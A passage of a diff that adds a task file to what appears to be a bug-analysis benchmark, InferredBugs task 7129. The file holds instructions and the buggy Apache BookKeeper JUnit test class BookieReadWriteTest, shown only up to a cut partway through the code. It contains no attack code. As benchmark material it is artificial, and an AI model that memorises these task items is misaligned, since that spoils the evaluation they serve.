+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7129/instruction.md b/inferredbugs-7129/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..d0a591ba6a23b2ba7064648fbfd2928d58e8e75c
--- /dev/null
+++ b/inferredbugs-7129/instruction.md
@@ -0,0 +1,1202 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** bookkeeper
+**Bug ID:** 29
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.apache.bookkeeper.test;
+
+/*
+ *
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *   http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ *
+ */
+
+import java.io.File;
+import java.io.IOException;
+import java.lang.NoSuchFieldException;
+import java.lang.IllegalAccessException;
+import java.lang.reflect.Field;
+import java.nio.ByteBuffer;
+import java.nio.charset.Charset;
+import java.util.ArrayList;
+import java.util.Enumeration;
+import java.util.Random;
+import java.util.Set;
+import java.util.Arrays;
+import java.util.concurrent.Semaphore;
+
+
+import org.apache.bookkeeper.client.AsyncCallback.AddCallback;
+import org.apache.bookkeeper.client.AsyncCallback.ReadCallback;
+import org.apache.bookkeeper.client.AsyncCallback.ReadLastConfirmedCallback;
+import org.apache.bookkeeper.client.BKException;
+import org.apache.bookkeeper.client.BookKeeper;
+import org.apache.bookkeeper.client.LedgerEntry;
+import org.apache.bookkeeper.client.LedgerHandle;
+import org.apache.bookkeeper.client.BookKeeper.DigestType;
+import org.apache.bookkeeper.streaming.LedgerInputStream;
+import org.apache.bookkeeper.streaming.LedgerOutputStream;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.apache.zookeeper.WatchedEvent;
+import org.apache.zookeeper.Watcher;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * This test tests read and write, synchronous and asynchronous, strings and
+ * integers for a BookKeeper client. The test deployment uses a ZooKeeper server
+ * and three BookKeepers.
+ *
+ */
+
+public class BookieReadWriteTest extends MultiLedgerManagerMultiDigestTestCase
+    implements AddCallback, ReadCallback, ReadLastConfirmedCallback {
+
+    // Depending on the taste, select the amount of logging
+    // by decommenting one of the two lines below
+    // static Logger LOG = Logger.getRootLogger();
+    static Logger LOG = LoggerFactory.getLogger(BookieReadWriteTest.class);
+
+    byte[] ledgerPassword = "aaa".getBytes();
+    LedgerHandle lh, lh2;
+    long ledgerId;
+    Enumeration<LedgerEntry> ls;
+
+    // test related variables
+    int numEntriesToWrite = 200;
+    int maxInt = 2147483647;
+    Random rng; // Random Number Generator
+    ArrayList<byte[]> entries; // generated entries
+    ArrayList<Integer> entriesSize;
+
+    DigestType digestType;
+
+    public BookieReadWriteTest(String ledgerManagerFactory, DigestType digestType) {
+        super(3);
+        this.digestType = digestType;
+        // set ledger manager
+        baseConf.setLedgerManagerFactoryClassName(ledgerManagerFactory);
+        baseClientConf.setLedgerManagerFactoryClassName(ledgerManagerFactory);
+    }
+    // Synchronization
+    SyncObj sync;
+    Set<Object> syncObjs;
+
+    class SyncObj {
+        long lastConfirmed;
+        volatile int counter;
+        boolean value;
+
+        public SyncObj() {
+            counter = 0;
+            lastConfirmed = LedgerHandle.INVALID_ENTRY_ID;
+            value = false;
+        }
+    }
+
+    @Test
+    public void testOpenException() throws IOException, InterruptedException {
+        try {
+            lh = bkc.openLedger(0, digestType, ledgerPassword);
+            fail("Haven't thrown exception");
+        } catch (BKException e) {
+            LOG.warn("Successfully thrown and caught exception:", e);
+        }
+    }
+
+    /**
+     * test the streaming api for reading and writing
+     *
+     * @throws {@link IOException}
+     */
+    @Test
+    public void testStreamingClients() throws IOException, BKException, InterruptedException {
+        lh = bkc.createLedger(digestType, ledgerPassword);
+        // write a string so that we cna
+        // create a buffer of a single bytes
+        // and check for corner cases
+        String toWrite = "we need to check for this string to match " + "and for the record mahadev is the best";
+        LedgerOutputStream lout = new LedgerOutputStream(lh, 1);
+        byte[] b = toWrite.getBytes();
+        lout.write(b);
+        lout.close();
+        long lId = lh.getId();
+        lh.close();
+        // check for sanity
+        lh = bkc.openLedger(lId, digestType, ledgerPassword);
+        LedgerInputStream lin = new LedgerInputStream(lh, 1);
+        byte[] bread = new byte[b.length];
+        int read = 0;
+        while (read < b.length) {
+            read = read + lin.read(bread, read, b.length);
+        }
+
+        String newString = new String(bread);
+        assertTrue("these two should same", toWrite.equals(newString));
+        lin.close();
+        lh.close();
+        // create another ledger to write one byte at a time
+        lh = bkc.createLedger(digestType, ledgerPassword);
+        lout = new LedgerOutputStream(lh);
+        for (int i = 0; i < b.length; i++) {
+            lout.write(b[i]);
+        }
+        lout.close();
+        lId = lh.getId();
+        lh.close();
+        lh = bkc.openLedger(lId, digestType, ledgerPassword);
+        lin = new LedgerInputStream(lh);
+        bread = new byte[b.length];
+        read = 0;
+        while (read < b.length) {
+            read = read + lin.read(bread, read, b.length);
+        }
+        newString = new String(bread);
+        assertTrue("these two should be same ", toWrite.equals(newString));
+        lin.close();
+        lh.close();
+    }
+
+    @Test
+    public void testReadWriteAsyncSingleClient() throws IOException {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.asyncAddEntry(entry.array(), this, sync);
+            }
+
+            // wait for all entries to be acknowledged
+            synchronized (sync) {
+                while (sync.counter < numEntriesToWrite) {
+                    LOG.debug("Entries counter = " + sync.counter);
+                    sync.wait();
+                }
+            }
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+
+            // *** WRITING PART COMPLETE // READ PART BEGINS ***
+
+            // open ledger
+            lh = bkc.openLedger(ledgerId, digestType, ledgerPassword);
+            LOG.debug("Number of entries written: " + (lh.getLastAddConfirmed() + 1));
+            assertTrue("Verifying number of entries written", lh.getLastAddConfirmed() == (numEntriesToWrite - 1));
+
+            // read entries
+            lh.asyncReadEntries(0, numEntriesToWrite - 1, this, sync);
+
+            synchronized (sync) {
+                while (sync.value == false) {
+                    sync.wait();
+                }
+            }
+
+            LOG.debug("*** READ COMPLETE ***");
+
+            // at this point, Enumeration<LedgerEntry> ls is filled with the returned
+            // values
+            int i = 0;
+            while (ls.hasMoreElements()) {
+                ByteBuffer origbb = ByteBuffer.wrap(entries.get(i));
+                Integer origEntry = origbb.getInt();
+                byte[] entry = ls.nextElement().getEntry();
+                ByteBuffer result = ByteBuffer.wrap(entry);
+                LOG.debug("Length of result: " + result.capacity());
+                LOG.debug("Original entry: " + origEntry);
+
+                Integer retrEntry = result.getInt();
+                LOG.debug("Retrieved entry: " + retrEntry);
+                assertTrue("Checking entry " + i + " for equality", origEntry.equals(retrEntry));
+                assertTrue("Checking entry " + i + " for size", entry.length == entriesSize.get(i).intValue());
+                i++;
+            }
+            assertTrue("Checking number of read entries", i == numEntriesToWrite);
+
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    /**
+     * Check that the add api with offset and length work correctly.
+     * First try varying the offset. Then the length with a fixed non-zero
+     * offset.
+     */
+    @Test
+    public void testReadWriteRangeAsyncSingleClient() throws IOException {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            byte bytes[] = {'a','b','c','d','e','f','g','h','i'};
+
+            lh.asyncAddEntry(bytes, 0, bytes.length, this, sync);
+            lh.asyncAddEntry(bytes, 0, 4, this, sync); // abcd
+            lh.asyncAddEntry(bytes, 3, 4, this, sync); // defg
+            lh.asyncAddEntry(bytes, 3, (bytes.length-3), this, sync); // defghi
+            int numEntries = 4;
+
+            // wait for all entries to be acknowledged
+            synchronized (sync) {
+                while (sync.counter < numEntries) {
+                    LOG.debug("Entries counter = " + sync.counter);
+                    sync.wait();
+                }
+            }
+
+            try {
+                lh.asyncAddEntry(bytes, -1, bytes.length, this, sync);
+                fail("Shouldn't be able to use negative offset");
+            } catch (ArrayIndexOutOfBoundsException aiob) {
+                // expected
+            }
+            try {
+                lh.asyncAddEntry(bytes, 0, bytes.length+1, this, sync);
+                fail("Shouldn't be able to use that much length");
+            } catch (ArrayIndexOutOfBoundsException aiob) {
+                // expected
+            }
+            try {
+                lh.asyncAddEntry(bytes, -1, bytes.length+2, this, sync);
+                fail("Shouldn't be able to use negative offset "
+                     + "with that much length");
+            } catch (ArrayIndexOutOfBoundsException aiob) {
+                // expected
+            }
+            try {
+                lh.asyncAddEntry(bytes, 4, -3, this, sync);
+                fail("Shouldn't be able to use negative length");
+            } catch (ArrayIndexOutOfBoundsException aiob) {
+                // expected
+            }
+            try {
+                lh.asyncAddEntry(bytes, -4, -3, this, sync);
+                fail("Shouldn't be able to use negative offset & length");
+            } catch (ArrayIndexOutOfBoundsException aiob) {
+                // expected
+            }
+
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+
+            // *** WRITING PART COMPLETE // READ PART BEGINS ***
+
+            // open ledger
+            lh = bkc.openLedger(ledgerId, digestType, ledgerPassword);
+            LOG.debug("Number of entries written: " + (lh.getLastAddConfirmed() + 1));
+            assertTrue("Verifying number of entries written",
+                       lh.getLastAddConfirmed() == (numEntries - 1));
+
+            // read entries
+            lh.asyncReadEntries(0, numEntries - 1, this, sync);
+
+            synchronized (sync) {
+                while (sync.value == false) {
+                    sync.wait();
+                }
+            }
+
+            LOG.debug("*** READ COMPLETE ***");
+
+            // at this point, Enumeration<LedgerEntry> ls is filled with the returned
+            // values
+            int i = 0;
+            while (ls.hasMoreElements()) {
+                byte[] expected = null;
+                byte[] entry = ls.nextElement().getEntry();
+
+                switch (i) {
+                case 0:
+                    expected = Arrays.copyOfRange(bytes, 0, bytes.length);
+                    break;
+                case 1:
+                    expected = Arrays.copyOfRange(bytes, 0, 4);
+                    break;
+                case 2:
+                    expected = Arrays.copyOfRange(bytes, 3, 3+4);
+                    break;
+                case 3:
+                    expected = Arrays.copyOfRange(bytes, 3, 3+(bytes.length-3));
+                    break;
+                }
+                assertNotNull("There are more checks than writes", expected);
+
+                String message = "Checking entry " + i + " for equality ["
+                                 + new String(entry, "UTF-8") + ","
+                                 + new String(expected, "UTF-8") + "]";
+                assertTrue(message, Arrays.equals(entry, expected));
+
+                i++;
+            }
+            assertTrue("Checking number of read entries", i == numEntries);
+
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    class ThrottleTestCallback implements ReadCallback {
+        int throttle;
+
+        ThrottleTestCallback(int threshold) {
+            this.throttle = threshold;
+        }
+
+        @Override
+        public void readComplete(int rc, LedgerHandle lh, Enumeration<LedgerEntry> seq, Object ctx) {
+            if(rc != BKException.Code.OK) {
+                fail("Return code is not OK: " + rc);
+            }
+
+            ls = seq;
+            synchronized(sync) {
+                sync.counter += throttle;
+                sync.notify();
+            }
+            LOG.info("Current counter: " + sync.counter);
+        }
+    }
+
+    /**
+     * Method for obtaining the available permits of a ledger handle
+     * using reflection to avoid adding a new public method to the
+     * class.
+     *
+     * @param lh
+     * @return
+     */
+    @SuppressWarnings("unchecked")
+    int getAvailablePermits(LedgerHandle lh) throws
+        NoSuchFieldException, IllegalAccessException
+    {
+        Field field = LedgerHandle.class.getDeclaredField("opCounterSem");
+        field.setAccessible(true);
+        return ((Semaphore)field.get(lh)).availablePermits();
+    }
+
+    @Test
+    public void testReadWriteAsyncSingleClientThrottle() throws
+        IOException, NoSuchFieldException, IllegalAccessException {
+        try {
+
+            Integer throttle = 100;
+            ThrottleTestCallback tcb = new ThrottleTestCallback(throttle);
+            // Create a ledger
+            bkc.getConf().setThrottleValue(throttle);
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+
+            numEntriesToWrite = 8000;
+            for (int i = 0; i < (numEntriesToWrite - 2000); i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.asyncAddEntry(entry.array(), this, sync);
+                /*
+                 * Check that the difference is no larger than the throttling threshold
+                 */
+                int testValue = getAvailablePermits(lh);
+                assertTrue("Difference is incorrect : " + i + ", " + sync.counter + ", " + testValue, testValue <= throttle);
+            }
+
+
+            for (int i = 0; i < 2000; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.asyncAddEntry(entry.array(), this, sync);
+
+                /*
+                 * Check that the difference is no larger than the throttling threshold
+                 */
+                int testValue = getAvailablePermits(lh);
+                assertTrue("Difference is incorrect : " + i + ", " + sync.counter + ", " + testValue, testValue <= throttle);
+            }
+
+            // wait for all entries to be acknowledged
+            synchronized (sync) {
+                while (sync.counter < numEntriesToWrite) {
+                    LOG.debug("Entries counter = " + sync.counter);
+                    sync.wait();
+                }
+            }
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+
+            // *** WRITING PART COMPLETE // READ PART BEGINS ***
+
+            // open ledger
+            lh = bkc.openLedger(ledgerId, digestType, ledgerPassword);
+            LOG.debug("Number of entries written: " + (lh.getLastAddConfirmed() + 1));
+            assertTrue("Verifying number of entries written", lh.getLastAddConfirmed() == (numEntriesToWrite - 1));
+
+            // read entries
+            sync.counter = 0;
+            for (int i = 0; i < numEntriesToWrite; i+=throttle) {
+                lh.asyncReadEntries(i, i + throttle - 1, tcb, sync);
+                int testValue = getAvailablePermits(lh);
+                assertTrue("Difference is incorrect : " + i + ", " + sync.counter + ", " + testValue, testValue <= throttle);
+            }
+
+            synchronized (sync) {
+                while (sync.counter < numEntriesToWrite) {
+                    LOG.info("Entries counter = " + sync.counter);
+                    sync.wait();
+                }
+            }
+
+            LOG.debug("*** READ COMPLETE ***");
+
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    @Test
+    public void testSyncReadAsyncWriteStringsSingleClient() throws IOException {
+        LOG.info("TEST READ WRITE STRINGS MIXED SINGLE CLIENT");
+        String charset = "utf-8";
+        LOG.debug("Default charset: " + Charset.defaultCharset());
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                int randomInt = rng.nextInt(maxInt);
+                byte[] entry = new String(Integer.toString(randomInt)).getBytes(charset);
+                entries.add(entry);
+                lh.asyncAddEntry(entry, this, sync);
+            }
+
+            // wait for all entries to be acknowledged
+            synchronized (sync) {
+                while (sync.counter < numEntriesToWrite) {
+                    LOG.debug("Entries counter = " + sync.counter);
+                    sync.wait();
+                }
+            }
+
+            LOG.debug("*** ASYNC WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+
+            // *** WRITING PART COMPLETED // READ PART BEGINS ***
+
+            // open ledger
+            lh = bkc.openLedger(ledgerId, digestType, ledgerPassword);
+            LOG.debug("Number of entries written: " + (lh.getLastAddConfirmed() + 1));
+            assertTrue("Verifying number of entries written", lh.getLastAddConfirmed() == (numEntriesToWrite - 1));
+
+            // read entries
+            ls = lh.readEntries(0, numEntriesToWrite - 1);
+
+            LOG.debug("*** SYNC READ COMPLETE ***");
+
+            // at this point, Enumeration<LedgerEntry> ls is filled with the returned
+            // values
+            int i = 0;
+            while (ls.hasMoreElements()) {
+                byte[] origEntryBytes = entries.get(i++);
+                byte[] retrEntryBytes = ls.nextElement().getEntry();
+
+                LOG.debug("Original byte entry size: " + origEntryBytes.length);
+                LOG.debug("Saved byte entry size: " + retrEntryBytes.length);
+
+                String origEntry = new String(origEntryBytes, charset);
+                String retrEntry = new String(retrEntryBytes, charset);
+
+                LOG.debug("Original entry: " + origEntry);
+                LOG.debug("Retrieved entry: " + retrEntry);
+
+                assertTrue("Checking entry " + i + " for equality", origEntry.equals(retrEntry));
+            }
+            assertTrue("Checking number of read entries", i == numEntriesToWrite);
+
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+
+    }
+
+    @Test
+    public void testReadWriteSyncSingleClient() throws IOException {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+                entries.add(entry.array());
+                lh.addEntry(entry.array());
+            }
+            lh.close();
+            lh = bkc.openLedger(ledgerId, digestType, ledgerPassword);
+            LOG.debug("Number of entries written: " + lh.getLastAddConfirmed());
+            assertTrue("Verifying number of entries written", lh.getLastAddConfirmed() == (numEntriesToWrite - 1));
+
+            ls = lh.readEntries(0, numEntriesToWrite - 1);
+            int i = 0;
+            while (ls.hasMoreElements()) {
+                ByteBuffer origbb = ByteBuffer.wrap(entries.get(i++));
+                Integer origEntry = origbb.getInt();
+                ByteBuffer result = ByteBuffer.wrap(ls.nextElement().getEntry());
+                LOG.debug("Length of result: " + result.capacity());
+                LOG.debug("Original entry: " + origEntry);
+
+                Integer retrEntry = result.getInt();
+                LOG.debug("Retrieved entry: " + retrEntry);
+                assertTrue("Checking entry " + i + " for equality", origEntry.equals(retrEntry));
+            }
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    @Test
+    public void testReadWriteZero() throws IOException {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                lh.addEntry(new byte[0]);
+            }
+
+            /*
+             * Write a non-zero entry
+             */
+            ByteBuffer entry = ByteBuffer.allocate(4);
+            entry.putInt(rng.nextInt(maxInt));
+            entry.position(0);
+            entries.add(entry.array());
+            lh.addEntry(entry.array());
+
+            lh.close();
+            lh = bkc.openLedger(ledgerId, digestType, ledgerPassword);
+            LOG.debug("Number of entries written: " + lh.getLastAddConfirmed());
+            assertTrue("Verifying number of entries written", lh.getLastAddConfirmed() == numEntriesToWrite);
+
+            ls = lh.readEntries(0, numEntriesToWrite - 1);
+            int i = 0;
+            while (ls.hasMoreElements()) {
+                ByteBuffer result = ByteBuffer.wrap(ls.nextElement().getEntry());
+                LOG.debug("Length of result: " + result.capacity());
+
+                assertTrue("Checking if entry " + i + " has zero bytes", result.capacity() == 0);
+            }
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    @Test
+    public void testMultiLedger() throws IOException {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            lh2 = bkc.createLedger(digestType, ledgerPassword);
+
+            long ledgerId = lh.getId();
+            long ledgerId2 = lh2.getId();
+
+            // bkc.initMessageDigest("SHA1");
+            LOG.info("Ledger ID 1: " + lh.getId() + ", Ledger ID 2: " + lh2.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                lh.addEntry(new byte[0]);
+                lh2.addEntry(new byte[0]);
+            }
+
+            lh.close();
+            lh2.close();
+
+            lh = bkc.openLedger(ledgerId, digestType, ledgerPassword);
+            lh2 = bkc.openLedger(ledgerId2, digestType, ledgerPassword);
+
+            LOG.debug("Number of entries written: " + lh.getLastAddConfirmed() + ", " + lh2.getLastAddConfirmed());
+            assertTrue("Verifying number of entries written lh (" + lh.getLastAddConfirmed() + ")", lh
+                       .getLastAddConfirmed() == (numEntriesToWrite - 1));
+            assertTrue("Verifying number of entries written lh2 (" + lh2.getLastAddConfirmed() + ")", lh2
+                       .getLastAddConfirmed() == (numEntriesToWrite - 1));
+
+            ls = lh.readEntries(0, numEntriesToWrite - 1);
+            int i = 0;
+            while (ls.hasMoreElements()) {
+                ByteBuffer result = ByteBuffer.wrap(ls.nextElement().getEntry());
+                LOG.debug("Length of result: " + result.capacity());
+
+                assertTrue("Checking if entry " + i + " has zero bytes", result.capacity() == 0);
+            }
+            lh.close();
+            ls = lh2.readEntries(0, numEntriesToWrite - 1);
+            i = 0;
+            while (ls.hasMoreElements()) {
+                ByteBuffer result = ByteBuffer.wrap(ls.nextElement().getEntry());
+                LOG.debug("Length of result: " + result.capacity());
+
+                assertTrue("Checking if entry " + i + " has zero bytes", result.capacity() == 0);
+            }
+            lh2.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    @Test
+    public void testReadWriteAsyncLength() throws IOException {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.asyncAddEntry(entry.array(), this, sync);
+            }
+
+            // wait for all entries to be acknowledged
+            synchronized (sync) {
+                while (sync.counter < numEntriesToWrite) {
+                    LOG.debug("Entries counter = " + sync.counter);
+                    sync.wait();
+                }
+            }
+            long length = numEntriesToWrite * 4;
+            assertTrue("Ledger length before closing: " + lh.getLength(), lh.getLength() == length);
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+
+            // *** WRITING PART COMPLETE // READ PART BEGINS ***
+
+            // open ledger
+            lh = bkc.openLedger(ledgerId, digestType, ledgerPassword);
+            assertTrue("Ledger length after opening: " + lh.getLength(), lh.getLength() == length);
+
+
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    @Test
+    public void testReadFromOpenLedger() throws IOException {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.addEntry(entry.array());
+                if(i == numEntriesToWrite/2) {
+                    LedgerHandle lhOpen = bkc.openLedgerNoRecovery(ledgerId, digestType, ledgerPassword);
+                    // no recovery opened ledger 's last confirmed entry id is less than written
+                    // and it just can read until (i-1)
+                    int toRead = i - 1;
+                    Enumeration<LedgerEntry> readEntry = lhOpen.readEntries(toRead, toRead);
+                    assertTrue("Enumeration of ledger entries has no element", readEntry.hasMoreElements() == true);
+                    LedgerEntry e = readEntry.nextElement();
+                    assertEquals(toRead, e.getEntryId());
+                    Assert.assertArrayEquals(entries.get(toRead), e.getEntry());
+                    // should not written to a read only ledger
+                    try {
+                        lhOpen.addEntry(entry.array());
+                        fail("Should have thrown an exception here");
+                    } catch (BKException.BKIllegalOpException bkioe) {
+                        // this is the correct response
+                    } catch (Exception ex) {
+                        LOG.error("Unexpected exception", ex);
+                        fail("Unexpected exception");
+                    }
+                    // close read only ledger should not change metadata
+                    lhOpen.close();
+                }
+            }
+
+            long last = lh.readLastConfirmed();
+            assertTrue("Last confirmed add: " + last, last == (numEntriesToWrite - 2));
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+            /*
+             * Asynchronous call to read last confirmed entry
+             */
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.addEntry(entry.array());
+            }
+
+
+            SyncObj sync = new SyncObj();
+            lh.asyncReadLastConfirmed(this, sync);
+
+            // Wait for for last confirmed
+            synchronized (sync) {
+                while (sync.lastConfirmed == -1) {
+                    LOG.debug("Counter = " + sync.lastConfirmed);
+                    sync.wait();
+                }
+            }
+
+            assertTrue("Last confirmed add: " + sync.lastConfirmed, sync.lastConfirmed == (numEntriesToWrite - 2));
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    @Test
+    public void testReadFromOpenLedgerOpenOnce() throws Exception {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            LedgerHandle lhOpen = bkc.openLedgerNoRecovery(ledgerId, digestType, ledgerPassword);
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.addEntry(entry.array());
+                if (i == numEntriesToWrite / 2) {
+                    // no recovery opened ledger 's last confirmed entry id is
+                    // less than written
+                    // and it just can read until (i-1)
+                    int toRead = i - 1;
+
+                    long readLastConfirmed = lhOpen.readLastConfirmed();
+                    assertTrue(readLastConfirmed != 0);
+                    Enumeration<LedgerEntry> readEntry = lhOpen.readEntries(toRead, toRead);
+                    assertTrue("Enumeration of ledger entries has no element", readEntry.hasMoreElements() == true);
+                    LedgerEntry e = readEntry.nextElement();
+                    assertEquals(toRead, e.getEntryId());
+                    Assert.assertArrayEquals(entries.get(toRead), e.getEntry());
+                    // should not written to a read only ledger
+                    try {
+                        lhOpen.addEntry(entry.array());
+                        fail("Should have thrown an exception here");
+                    } catch (BKException.BKIllegalOpException bkioe) {
+                        // this is the correct response
+                    } catch (Exception ex) {
+                        LOG.error("Unexpected exception", ex);
+                        fail("Unexpected exception");
+                    }
+
+                }
+            }
+            long last = lh.readLastConfirmed();
+            assertTrue("Last confirmed add: " + last, last == (numEntriesToWrite - 2));
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+            // close read only ledger should not change metadata
+            lhOpen.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    @Test
+    public void testReadFromOpenLedgerZeroAndOne() throws Exception {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
